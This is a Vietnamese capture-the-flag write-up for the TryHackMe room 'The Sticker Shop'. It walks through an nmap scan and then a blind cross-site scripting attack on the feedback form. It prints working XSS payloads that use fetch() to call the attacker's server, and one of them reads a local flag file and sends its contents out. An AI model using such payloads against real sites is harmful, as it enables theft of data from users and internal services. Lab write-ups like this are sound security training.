Bài viết

TryHackMe - The Sticker Shop

Hướng dẫn đơn giản về cách sử dụng ❌ Cross-Site Scripting trong thử thách này

TryHackMe - The Sticker Shop

Giới thiệu

Bạn có thể khai thác cửa hàng sticker để lấy flag không?

Tryhackme Room Link

Cửa hàng sticker địa phương của bạn cuối cùng cũng đã phát triển trang web riêng. Họ không có nhiều kinh nghiệm về phát triển web, vì vậy đã quyết định phát triển và lưu trữ mọi thứ trên cùng một máy tính mà họ sử dụng để duyệt Internet và xem phản hồi của khách hàng. Một quyết định thật thông minh!

Nmap

Hãy bắt đầu bằng việc quét các cổng đang mở:

1
2
3
4
5
6
7
8
9
10
11
nmap -T4 -n -sC -sV -Pn -p- 10.10.10.243
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.9 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 b2:54:8c:e2:d7:67:ab:8f:90:b3:6f:52:c2:73:37:69 (RSA)
|   256 14:29:ec:36:95:e5:64:49:39:3f:b4:ec:ca:5f:ee:78 (ECDSA)
|_  256 19:eb:1f:c9:67:92:01:61:0c:14:fe:71:4b:0d:50:40 (ED25519)
8080/tcp open  http    Werkzeug httpd 3.0.1 (Python 3.8.10)
|_http-title: Cat Sticker Shop
|_http-server-header: Werkzeug/3.0.1 Python/3.8.10
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Vì cổng HTTP thay thế đang mở, chúng ta có thể truy cập trang web qua 10.10.10.243:8080.

Hãy thử truy cập 10.10.10.243:8080/flag.txt.

Slash Flag.txt

Hãy truy cập trang con Feedback.

Submit Page

Cross-Site Scripting

Hãy thử một số payload XSS.

Hãy khởi động một máy chủ Python và thử gửi request đến máy tấn công bằng script:

1
python3 -m http.server 8000

Sau đó gửi script của chúng ta:

1
</textarea><script>fetch('http://10.11.75.122:8000');</script>

Chúng ta đã nhận được phản hồi, điều đó có nghĩa là tồn tại lỗ hổng Blind XSS.

Submit Page

Bây giờ, chúng ta có thể thử tạo một payload như sau:

1
</textarea><script>async function a() {const res1 = await fetch('http://127.0.0.1:8080/flag.txt');const b = await res1.text();const res2 = await fetch('http://10.11.75.122:8000?a=' + b);}a();</script>
Giải thích:
  1. Lấy tệp flag.txt từ http://127.0.0.1:8080/flag.txt.
  2. Đọc nội dung của tệp dưới dạng văn bản.
  3. Gửi nội dung bị đánh cắp dưới dạng tham số truy vấn (a=<OUR_FLAG>) đến http://10.11.75.122:8000 — máy tấn công của chúng ta.

Flag

Sau khi khởi động máy chủ Python trên máy cục bộ và chèn payload, chúng ta nhận được flag.

Submit Page


Bài viết này được cấp phép bởi tác giả theo giấy phép CC BY 4.0 .